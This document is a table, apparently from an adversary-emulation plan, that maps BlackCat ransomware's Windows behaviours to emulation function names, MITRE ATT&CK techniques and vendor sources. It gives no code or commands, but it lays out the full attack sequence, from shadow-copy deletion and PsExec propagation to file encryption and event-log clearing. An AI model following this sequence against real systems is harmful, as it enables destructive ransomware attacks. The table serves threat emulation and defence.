Authenticate with Domain Admin account credentials	-	T1078.002 Valid Accounts: Domain Accounts	Microsoft
BlackCat (Windows) deletes volume shadow copies	delete_shadow_copies	T1490 Inhibit System Recovery	Varonis
BlackCat (Windows) modifies bootloader	disable_bootloader_recovery	T1490 Inhibit System Recovery	Microsoft
BlackCat (Windows) collects host UUID	get_uuid	T1082 System Information Discovery	Varonis
BlackCat (Windows) discovers current username	get_username	T1033 System Owner/User Discovery	Microsoft
BlackCat (Windows) discovers current hostname	get_hostname	T1082 System Information Discovery	Microsoft
BlackCat (Windows) empties the recycling bin	empty_recycling_bin	T1485 Data Destruction	Varonis
BlackCat (Windows) modifies the registry	update_maxmpxct_settings	T1112 Modify Registry	Varonis
BlackCat (Windows) contains embedded PsExec	setup_psexec	T1027.009 Obfuscated Files or Information: Embedded Payloads	Varonis
PsExec is compressed with zlib	setup_psexec	T1027 Obfuscated Files or Information	Symantec
BlackCat (Windows) performs NetBIOS scans	find_local_targets	T1018 Remote System Discovery	Varonis
BlackCat (Windows) executes PsExec to propagate	propagate_via_psexec	T1570 Lateral Tool Transfer	Varonis
BlackCat (Windows) is executed using PsExec	-	T1569.002 System Services: Service Execution	Varonis
BlackCat (Windows) enumerates local disk partitions	mount_hidden_partitions	T1082 System Information Discovery	Varonis
BlackCat (Windows) mounts hidden partitions	mount_hidden_partitions	T1083 File and Directory Discovery	Varonis
BlackCat (Windows) terminates processes	killall_by_name	T1489 Service Stop	Varonis
BlackCat (Windows) terminates services	terminate_services	T1489 Service Stop	Varonis
BlackCat (Windows) encrypts files using AES	encrypt	T1486 Data Encrypted for Impact	Varonis
BlackCat (Windows) leaves ransom notes	drop_ransom_note	T1491.001 Defacement: Internal Defacement	Varonis
BlackCat (Windows) changes the wallpaper	set_wallpaper	T1491.001 Defacement: Internal Defacement	Varonis
BlackCat (Windows) deletes volume shadow copies again	delete_shadow_copies	T1490 Inhibit System Recovery	Varonis
BlackCat (Windows) lists and clears logs	clear_event_logs	T1070.001 Indicator Removal: Clear Windows Event Logs	Varonis